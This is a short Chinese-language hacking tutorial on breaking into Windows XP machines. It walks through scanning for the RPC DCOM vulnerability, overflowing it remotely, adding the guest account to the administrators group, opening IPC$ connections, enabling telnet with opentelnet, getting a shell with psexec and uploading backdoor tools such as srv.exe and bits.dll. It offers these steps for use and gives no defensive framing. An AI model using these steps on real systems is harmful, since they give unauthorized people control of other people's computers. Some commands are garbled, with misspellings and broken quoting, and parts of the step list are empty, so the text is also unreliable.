入侵xp系统之初步攻略

1.思路：突破xp系统远程访问的限制，实现文件传输和远程登陆。

2.工具：rpc漏洞扫描工具、溢出工具，pstools工具包。

3.步骤
推荐使用retinarpcdcom.exe

2)步骤二:远程溢出：

3)步骤三:提升guest权限（本方案之关键）：
net localgroup aministrators guest /add
看到这里，也许你会嗤之以鼻，
如果你用net user guest命令，将会看到下面的内容：
这正是突破xp系统远程访问帐号限制的突破口！
Password required yes
------------------------------
dir ""IP"c$Content$nbsp;
当然你也一样可以用net use ""ip "" /user:"guest"来进行IPC$连接

4)步骤四:远程登陆
那么就试试opentelnet吧
opentelnet ""ip guest "" 1 90
上传srv.exe试试，我没试过，有兴趣的自己试试
psexec ""ip cmd
各显神通，我正好用来试试榕哥的bits.dll，感觉一点都不好
千万别在xp系统中建新帐户（为什么？自己想想）
rpc溢出会导致对方重启，要慎用，尤其是服务器。